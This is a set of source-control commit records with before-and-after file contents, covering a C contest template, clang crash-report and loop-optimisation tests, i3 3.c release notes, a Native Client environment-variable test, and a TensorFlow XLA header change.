{"commit":"7552dddfaad48e3ec1bc691ff5bfa9208163169c","old_file":"C\/procon.c","new_file":"C\/procon.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#define LINE_BUF_SIZE  1024\n#define LENGTH(array)  (sizeof(array) \/ sizeof((array)[0]))\n\n\nint\nmain(void)\n{\n  static char line[LINE_BUF_SIZE];\n\n  while (fgets(line, sizeof(line), stdin) != NULL) {\n    int a, b;\n    if (sscanf(line, \"%d %d\", &a, &b) != 2) {\n      fputs(\"sscanf: Convert error\\n\", stderr);\n      return EXIT_FAILURE;\n    }\n    <+CURSOR+>\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add a programming contest template for C","message":"Add a programming contest template for C\n","lang":"C","license":"mit","repos":"koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate,koturn\/kotemplate"}
{"commit":"a61724096114337cabc8cc51246324874cc004e4","old_file":"test\/Driver\/crash-report.c","new_file":"test\/Driver\/crash-report.c","old_contents":"\/\/ RUN: %clang -fsyntax-only %s 2>&1 | FileCheck %s\n\/\/ REQUIRES: crash-recovery\n\/\/ XFAIL: mingw32,win32\n\n#pragma clang __debug parser_crash\n\/\/ CHECK: Preprocessed source(s) and associated run script(s) are located at:\n\/\/ CHECK-NEXT: {{.*}}: note: diagnostic msg: {{.*}}.c\n","new_contents":"\/\/ RUN: rm %T\/crash-report-*.c %T\/crash-report-*.sh\n\/\/ RUN: TMP=%T %clang -fsyntax-only %s -DFOO=BAR 2>&1 | FileCheck %s\n\/\/ RUN: FileCheck --check-prefix=CHECKSRC %s < %T\/crash-report-*.c\n\/\/ RUN: FileCheck --check-prefix=CHECKSH %s < %T\/crash-report-*.sh\n\/\/ REQUIRES: crash-recovery\n\/\/ XFAIL: mingw32,win32\n\n#pragma clang __debug parser_crash\n\/\/ CHECK: Preprocessed source(s) and associated run script(s) are located at:\n\/\/ CHECK-NEXT: note: diagnostic msg: {{.*}}.c\nFOO\n\/\/ CHECKSRC: FOO\n\/\/ CHECKSH: -D FOO=BAR\n","subject":"Improve crash reporting test coverage.","message":"Improve crash reporting test coverage.\n\nThis adds validation that the\n* repro source is only rewrite-includes processed, not fully preprocessed.\n* repro script contains macro definitions (-DFOO=BAR).\n\nBased on suggestions\/help by Matt Beaumont-Gay.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@159605 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"c1c73801616efa1eda1925ebf64a1a6bce7527e7","old_file":"test\/Misc\/loop-opt-setup.c","new_file":"test\/Misc\/loop-opt-setup.c","old_contents":"\/\/ RUN: %clang -O1 -fexperimental-new-pass-manager -fno-unroll-loops -S -o - %s -emit-llvm | FileCheck %s\n\/\/ RUN: %clang -O1 -fno-unroll-loops -S -o - %s -emit-llvm | FileCheck %s\nextern int a[16];\nint b = 0;\nint foo(void) {\n#pragma unroll\n  for (int i = 0; i < 16; ++i)\n    a[i] = b += 2;\n  return b;\n}\n\/\/ CHECK-NOT: br i1\n\n","new_contents":"\/\/ RUN: %clang -O1 -fexperimental-new-pass-manager -fno-unroll-loops -S -o - %s -emit-llvm | FileCheck %s\n\/\/ RUN: %clang -O1 -fno-experimental-new-pass-manager -fno-unroll-loops -S -o - %s -emit-llvm | FileCheck %s\nextern int a[16];\nint b = 0;\nint foo(void) {\n#pragma unroll\n  for (int i = 0; i < 16; ++i)\n    a[i] = b += 2;\n  return b;\n}\n\/\/ CHECK-NOT: br i1\n\n","subject":"Add -fno-experimental-pass-manager to make clear which pass manager we're running and to make flipping the default not regress testing.","message":"Add -fno-experimental-pass-manager to make clear which pass manager\nwe're running and to make flipping the default not regress testing.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@374840 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"c10ff34ae73f5748cc7ab9d5e0cc520f8745509d","old_file":"RELEASE-NOTES-3.c","new_file":"RELEASE-NOTES-3.c","old_contents":"","new_contents":"Release notes for i3 v3.γ\n-----------------------------\n\nThis is the third version (3.γ, transcribed 3.c) of i3. It is considered stable.\n\nThis release contains many small improvements like using keysymbols in the\nconfiguration file, named workspaces, borderless windows, an IPC interface\netc. (see below for a complete list of changes)\n\nThanks for this release go out to bapt, badboy, Atsutane, tsdh, xeen, mxf,\nand all other people who reported bugs\/made suggestions.\n\nSpecial thanks go to steckdenis, yellowiscool and farvardin who designed a logo\nfor i3.\n\nA list of changes follows:\n\n  * Implement a reload command\n  * Implement keysymbols in configuration file\n  * Implement assignments of workspaces to screens\n  * Implement named workspaces\n  * Implement borderless\/1-px-border windows\n  * Implement command to focus screens\n  * Implement IPC via unix sockets\n  * Correctly render decoration of floating windows\n  * Map floating windows requesting (0x0) to center of their leader\/workspace\n  * Optimization: Render stack windows on pixmaps to reduce flickering\n  * Optimization: Directly position new windows to their final position\n  * Bugfix: Repeatedly try to find screens if none are available\n  * Bugfix: Correctly redecorate clients when changing focus\n  * Bugfix: Don’t crash when clients reconfigure themselves\n  * Bugfix: Fix screen wrapping\n  * Bugfix: Fix selecting a different screen with your mouse when not having\n    any windows on the current workspace\n  * Bugfix: Correctly unmap stack windows and don’t re-map them too early\n  * Bugfix: Allow switching layout if there are no clients in the this container\n  * Bugfix: Set WM_STATE_WITHDRAWN when unmapping, unmap windows when\n    destroying\n  * Bugfix: Don’t hide assigned clients to inactive but visible workspaces\n\n-- Michael Stapelberg, 2009-08-19\n","subject":"Add release notes for 3.γ","message":"Add release notes for 3.γ\n","lang":"C","license":"bsd-3-clause","repos":"renlinx007\/i3wm,pablospe\/i3,Chr1stoph\/i3,pablospe\/i3,Eelis\/i3,FauxFaux\/i3,strake\/i3,DSMan195276\/i3,netzverweigerer\/i3,shdown\/i3,sa1\/i3,jubalh\/i3,Airblader\/i3-original,tommie\/i3,netzverweigerer\/i3,gigawhitlocks\/i3-hacking,Airblader\/i3-original,stfnm\/i3,dtomasiewicz\/i3,mh21\/i3,DSMan195276\/i3,FauxFaux\/i3,shdown\/i3,jubalh\/i3,ccryx\/i3,Airblader\/i3-original,gnomus\/i3-wm-gap,stapelberg\/i3,dg-ratiodata\/i3,avrelaun\/i3,shdown\/i3,Matmusia\/i3,i3\/i3,Zopieux\/i3,yin\/i3,stapelberg\/i3,Matmusia\/i3,tcreech\/i3,pronobis\/i3,strake\/i3,saksham0808\/i3,netzverweigerer\/i3,mh21\/i3,tommie\/i3,DSMan195276\/i3,i3\/i3,Matmusia\/i3,acrisci\/i3,mh21\/i3,mariusmuja\/i3wm,simonnagl\/i3,stfnm\/i3,simonnagl\/i3,Zopieux\/i3,mariusmuja\/i3wm,acrisci\/i3,MForster\/i3,cornerman\/i3,renlinx007\/i3wm,cornerman\/i3,Eelis\/i3,Kaligule\/i3,pablospe\/i3,i3\/i3,FauxFaux\/i3,smrt28\/i3,EvilPudding\/i3,renlinx007\/i3wm,gigawhitlocks\/i3-hacking,Matmusia\/i3,stapelberg\/i3,Chr1stoph\/i3,sa1\/i3,isharp\/i3,dtomasiewicz\/i3,yin\/i3,EvilPudding\/i3,Zopieux\/i3,ccryx\/i3,Airblader\/i3-original,pronobis\/i3,EvilPudding\/i3,DSMan195276\/i3,drbig\/i3,Kaligule\/i3,stapelberg\/i3,Azkae\/i3,simonnagl\/i3,sa1\/i3,jubalh\/i3,saksham0808\/i3,drbig\/i3,Azkae\/i3,FauxFaux\/i3,shdown\/i3,renlinx007\/i3wm,Eelis\/i3,gigawhitlocks\/i3-hacking,acrisci\/i3,Kaligule\/i3,gnomus\/i3-wm-gap,Phlogistique\/i3,dg-ratiodata\/i3,Airblader\/i3,ccryx\/i3,dtomasiewicz\/i3,sideffect0\/i3wm,sideffect0\/i3wm,Phlogistique\/i3,MForster\/i3,ccryx\/i3,avrelaun\/i3,simonnagl\/i3,sa1\/i3,drbig\/i3,Eelis\/i3,Chr1stoph\/i3,isharp\/i3,Kaligule\/i3,isharp\/i3,gnomus\/i3-wm-gap,yin\/i3,Chr1stoph\/i3,i3\/i3,smrt28\/i3,dtomasiewicz\/i3,Phlogistique\/i3,mariusmuja\/i3wm,mariusmuja\/i3wm,cornerman\/i3,strake\/i3,MForster\/i3,saksham0808\/i3,cornerman\/i3,MForster\/i3,sideffect0\/i3wm,smrt28\/i3,dg-ratiodata\/i3,Azkae\/i3,tcreech\/i3,strake\/i3,mh21\/i3,netzverweigerer\/i3,Airblader\/i3,isharp\/i3,pablospe\/i3,saksham0808\/i3,Azkae\/i3,tcreech\/i3,Airblader\/i3,gnomus\/i3-wm-gap,stfnm\/i3,acrisci\/i3,avrelaun\/i3,EvilPudding\/i3,drbig\/i3,avrelaun\/i3,Airblader\/i3-original,pronobis\/i3,acrisci\/i3,stfnm\/i3,tcreech\/i3,Airblader\/i3,gigawhitlocks\/i3-hacking,smrt28\/i3,Zopieux\/i3,jubalh\/i3,strake\/i3,yin\/i3,pronobis\/i3,sideffect0\/i3wm,dg-ratiodata\/i3"}
{"commit":"de514f15cd1bc2ae0bad203d51feafe9b92a9258","old_file":"tests\/environment_variables\/env_var_test.c","new_file":"tests\/environment_variables\/env_var_test.c","old_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n\nint main(int argc, char **argv, char **env) {\n  int count = 0;\n  char **ptr;\n\n  for (ptr = environ; *ptr != NULL; ptr++) {\n    count++;\n  }\n  printf(\"%i environment variables\\n\", count);\n  for (ptr = environ; *ptr != NULL; ptr++) {\n    printf(\"%s\\n\", *ptr);\n  }\n\n  assert(env == environ);\n\n  return 0;\n}\n","new_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <assert.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n\/*\n * In the glibc dynamic linking case, CommandSelLdrTestNacl\n * passes LD_LIBRARY_PATH in the environment for tests.\n * Ignore this variable for purposes of this test.\n *\/\nstatic bool skip_env_var(const char *envstring) {\n#ifdef __GLIBC__\n  static const char kLdLibraryPath[] = \"LD_LIBRARY_PATH=\";\n  if (!strncmp(envstring, kLdLibraryPath, sizeof(kLdLibraryPath) - 1))\n    return true;\n#endif\n  return false;\n}\n\nint main(int argc, char **argv, char **env) {\n  int count = 0;\n  char **ptr;\n\n  for (ptr = environ; *ptr != NULL; ptr++) {\n    if (!skip_env_var(*ptr))\n      count++;\n  }\n  printf(\"%i environment variables\\n\", count);\n  for (ptr = environ; *ptr != NULL; ptr++) {\n    if (!skip_env_var(*ptr))\n      puts(*ptr);\n  }\n\n  assert(env == environ);\n\n  return 0;\n}\n","subject":"Make environment_variables test ignore LD_LIBRARY_PATH for glibc","message":"Make environment_variables test ignore LD_LIBRARY_PATH for glibc\n\nThis test pumps specific values through sel_ldr with -E and then\ntests that the entire environment seen by the untrusted program\nis exactly that list, using a golden file.  CommandSelLdrTestNacl\nuses -E to pass LD_LIBRARY_PATH to the nexe for new (ARM) glibc.\nSo that variable's presence in environ is not a bug.\n\nBUG= https:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=3068\nTEST= trybots + scons platform=arm --nacl_glibc run_env_var_test_irt\nR=phosek@chromium.org, mseaborn@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/1116963005\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"34b1c5f6bc22dbb512f5d0462153042ffc6407fa","old_file":"tensorflow\/compiler\/xla\/service\/scatter_expander.h","new_file":"tensorflow\/compiler\/xla\/service\/scatter_expander.h","old_contents":"\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n#define TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_interface.h\"\n\nnamespace xla {\n\nclass ScatterExpander : public HloModulePass {\n public:\n  absl::string_view name() const override { return \"scatter_expander\"; }\n  StatusOr<bool> Run(HloModule* module) override;\n\n private:\n  StatusOr<HloInstruction*> ExpandScatter(HloInstruction* scatter);\n};\n\n}  \/\/ namespace xla\n\n#endif  \/\/ TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n","new_contents":"\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n#define TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n\n#include \"tensorflow\/compiler\/xla\/service\/hlo_pass_interface.h\"\n\nnamespace xla {\n\nclass ScatterExpander : public HloModulePass {\n public:\n  absl::string_view name() const override { return \"scatter_expander\"; }\n  StatusOr<bool> Run(HloModule* module) override;\n\n protected:\n  StatusOr<HloInstruction*> ExpandScatter(HloInstruction* scatter);\n};\n\n}  \/\/ namespace xla\n\n#endif  \/\/ TENSORFLOW_COMPILER_XLA_SERVICE_SCATTER_EXPANDER_H_\n","subject":"Make ScatterExpander methods 'protected' to enable overriding them in a subclass.","message":"[XLA] Make ScatterExpander methods 'protected' to enable overriding them in a subclass.\n\nPiperOrigin-RevId: 217914138\n","lang":"C","license":"apache-2.0","repos":"apark263\/tensorflow,seanli9jan\/tensorflow,jhseu\/tensorflow,ghchinoy\/tensorflow,theflofly\/tensorflow,gunan\/tensorflow,dongjoon-hyun\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,kevin-coder\/tensorflow-fork,ghchinoy\/tensorflow,kevin-coder\/tensorflow-fork,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,adit-chandra\/tensorflow,gautam1858\/tensorflow,brchiu\/tensorflow,xzturn\/tensorflow,DavidNorman\/tensorflow,alshedivat\/tensorflow,jbedorf\/tensorflow,gunan\/tensorflow,jhseu\/tensorflow,gautam1858\/tensorflow,brchiu\/tensorflow,ppwwyyxx\/tensorflow,asimshankar\/tensorflow,aam-at\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,hehongliang\/tensorflow,yongtang\/tensorflow,alshedivat\/tensorflow,annarev\/tensorflow,apark263\/tensorflow,aldian\/tensorflow,jbedorf\/tensorflow,dongjoon-hyun\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,brchiu\/tensorflow,seanli9jan\/tensorflow,cxxgtxy\/tensorflow,theflofly\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jbedorf\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,jendap\/tensorflow,DavidNorman\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,hehongliang\/tensorflow,asimshankar\/tensorflow,theflofly\/tensorflow,freedomtan\/tensorflow,Bismarrck\/tensorflow,arborh\/tensorflow,Intel-Corporation\/tensorflow,xzturn\/tensorflow,alshedivat\/tensorflow,sarvex\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,jendap\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,freedomtan\/tensorflow,theflofly\/tensorflow,annarev\/tensorflow,jendap\/tensorflow,hfp\/tensorflow-xsmm,jendap\/tensorflow,Intel-tensorflow\/tensorflow,ageron\/tensorflow,jbedorf\/tensorflow,jendap\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,annarev\/tensorflow,ppwwyyxx\/tensorflow,davidzchen\/tensorflow,xzturn\/tensorflow,kevin-coder\/tensorflow-fork,gunan\/tensorflow,theflofly\/tensorflow,frreiss\/tensorflow-fred,yongtang\/tensorflow,jendap\/tensorflow,gunan\/tensorflow,hehongliang\/tensorflow,annarev\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,ageron\/tensorflow,hehongliang\/tensorflow,yongtang\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,alshedivat\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,sarvex\/tensorflow,jbedorf\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,chemelnucfin\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,brchiu\/tensorflow,Intel-Corporation\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,aldian\/tensorflow,alsrgv\/tensorflow,adit-chandra\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,brchiu\/tensorflow,jbedorf\/tensorflow,hehongliang\/tensorflow,annarev\/tensorflow,arborh\/tensorflow,seanli9jan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-pywrap_tf_optimizer,ageron\/tensorflow,adit-chandra\/tensorflow,DavidNorman\/tensorflow,annarev\/tensorflow,kevin-coder\/tensorflow-fork,jbedorf\/tensorflow,alshedivat\/tensorflow,paolodedios\/tensorflow,davidzchen\/tensorflow,kevin-coder\/tensorflow-fork,xzturn\/tensorflow,paolodedios\/tensorflow,hehongliang\/tensorflow,xzturn\/tensorflow,adit-chandra\/tensorflow,alsrgv\/tensorflow,Bismarrck\/tensorflow,petewarden\/tensorflow,sarvex\/tensorflow,chemelnucfin\/tensorflow,alshedivat\/tensorflow,dongjoon-hyun\/tensorflow,seanli9jan\/tensorflow,karllessard\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jbedorf\/tensorflow,sarvex\/tensorflow,hfp\/tensorflow-xsmm,petewarden\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,seanli9jan\/tensorflow,theflofly\/tensorflow,brchiu\/tensorflow,aldian\/tensorflow,ghchinoy\/tensorflow,aldian\/tensorflow,ghchinoy\/tensorflow,freedomtan\/tensorflow,ghchinoy\/tensorflow,ageron\/tensorflow,asimshankar\/tensorflow,davidzchen\/tensorflow,jendap\/tensorflow,gautam1858\/tensorflow,arborh\/tensorflow,renyi533\/tensorflow,kevin-coder\/tensorflow-fork,chemelnucfin\/tensorflow,davidzchen\/tensorflow,hfp\/tensorflow-xsmm,gautam1858\/tensorflow,petewarden\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,arborh\/tensorflow,renyi533\/tensorflow,gautam1858\/tensorflow,xzturn\/tensorflow,asimshankar\/tensorflow,seanli9jan\/tensorflow,alshedivat\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Bismarrck\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,asimshankar\/tensorflow,Intel-Corporation\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,karllessard\/tensorflow,hehongliang\/tensorflow,seanli9jan\/tensorflow,asimshankar\/tensorflow,alsrgv\/tensorflow,gunan\/tensorflow,renyi533\/tensorflow,Bismarrck\/tensorflow,asimshankar\/tensorflow,jendap\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,ageron\/tensorflow,gautam1858\/tensorflow,jbedorf\/tensorflow,dongjoon-hyun\/tensorflow,dongjoon-hyun\/tensorflow,theflofly\/tensorflow,freedomtan\/tensorflow,Intel-Corporation\/tensorflow,petewarden\/tensorflow,aldian\/tensorflow,jhseu\/tensorflow,jendap\/tensorflow,apark263\/tensorflow,Bismarrck\/tensorflow,ghchinoy\/tensorflow,jhseu\/tensorflow,hfp\/tensorflow-xsmm,asimshankar\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,jbedorf\/tensorflow,alsrgv\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,Bismarrck\/tensorflow,ppwwyyxx\/tensorflow,sarvex\/tensorflow,adit-chandra\/tensorflow,aam-at\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,DavidNorman\/tensorflow,paolodedios\/tensorflow,apark263\/tensorflow,frreiss\/tensorflow-fred,theflofly\/tensorflow,jhseu\/tensorflow,chemelnucfin\/tensorflow,apark263\/tensorflow,xzturn\/tensorflow,arborh\/tensorflow,alshedivat\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,arborh\/tensorflow,aam-at\/tensorflow,dongjoon-hyun\/tensorflow,chemelnucfin\/tensorflow,gunan\/tensorflow,brchiu\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,dongjoon-hyun\/tensorflow,hfp\/tensorflow-xsmm,adit-chandra\/tensorflow,dongjoon-hyun\/tensorflow,ppwwyyxx\/tensorflow,dongjoon-hyun\/tensorflow,DavidNorman\/tensorflow,ageron\/tensorflow,Bismarrck\/tensorflow,chemelnucfin\/tensorflow,yongtang\/tensorflow,alshedivat\/tensorflow,Intel-Corporation\/tensorflow,ppwwyyxx\/tensorflow,seanli9jan\/tensorflow,paolodedios\/tensorflow,adit-chandra\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,renyi533\/tensorflow,alsrgv\/tensorflow,aam-at\/tensorflow,kevin-coder\/tensorflow-fork,frreiss\/tensorflow-fred,seanli9jan\/tensorflow,Intel-tensorflow\/tensorflow,jhseu\/tensorflow,adit-chandra\/tensorflow,yongtang\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ghchinoy\/tensorflow,arborh\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow,ageron\/tensorflow,theflofly\/tensorflow,annarev\/tensorflow,ghchinoy\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,apark263\/tensorflow,paolodedios\/tensorflow,ppwwyyxx\/tensorflow,petewarden\/tensorflow,jhseu\/tensorflow,hfp\/tensorflow-xsmm,brchiu\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,apark263\/tensorflow,theflofly\/tensorflow,davidzchen\/tensorflow,xzturn\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,arborh\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,DavidNorman\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,asimshankar\/tensorflow,apark263\/tensorflow,aldian\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Bismarrck\/tensorflow,Bismarrck\/tensorflow,renyi533\/tensorflow,theflofly\/tensorflow,jhseu\/tensorflow,freedomtan\/tensorflow,aldian\/tensorflow,kevin-coder\/tensorflow-fork,annarev\/tensorflow,apark263\/tensorflow,Bismarrck\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,alsrgv\/tensorflow,adit-chandra\/tensorflow,davidzchen\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,tensorflow\/tensorflow,ppwwyyxx\/tensorflow,karllessard\/tensorflow,cxxgtxy\/tensorflow,sarvex\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,seanli9jan\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,petewarden\/tensorflow,jendap\/tensorflow,davidzchen\/tensorflow,ppwwyyxx\/tensorflow,arborh\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,cxxgtxy\/tensorflow,alshedivat\/tensorflow,davidzchen\/tensorflow,chemelnucfin\/tensorflow,cxxgtxy\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jhseu\/tensorflow,adit-chandra\/tensorflow,ageron\/tensorflow,alsrgv\/tensorflow,chemelnucfin\/tensorflow,ageron\/tensorflow,adit-chandra\/tensorflow,sarvex\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,ppwwyyxx\/tensorflow,aam-at\/tensorflow,jbedorf\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,renyi533\/tensorflow,hfp\/tensorflow-xsmm,cxxgtxy\/tensorflow,dongjoon-hyun\/tensorflow,annarev\/tensorflow,kevin-coder\/tensorflow-fork,hfp\/tensorflow-xsmm,DavidNorman\/tensorflow,brchiu\/tensorflow,Intel-tensorflow\/tensorflow,seanli9jan\/tensorflow,yongtang\/tensorflow,chemelnucfin\/tensorflow,xzturn\/tensorflow,dongjoon-hyun\/tensorflow,brchiu\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow,DavidNorman\/tensorflow,asimshankar\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,kevin-coder\/tensorflow-fork,cxxgtxy\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,jendap\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,freedomtan\/tensorflow,apark263\/tensorflow,freedomtan\/tensorflow,karllessard\/tensorflow,theflofly\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,jbedorf\/tensorflow,hfp\/tensorflow-xsmm,aam-at\/tensorflow,DavidNorman\/tensorflow,alshedivat\/tensorflow,ghchinoy\/tensorflow,frreiss\/tensorflow-fred,gunan\/tensorflow,ghchinoy\/tensorflow,ageron\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,sarvex\/tensorflow,ageron\/tensorflow,davidzchen\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,renyi533\/tensorflow,DavidNorman\/tensorflow,jhseu\/tensorflow,brchiu\/tensorflow,paolodedios\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,karllessard\/tensorflow,arborh\/tensorflow"}
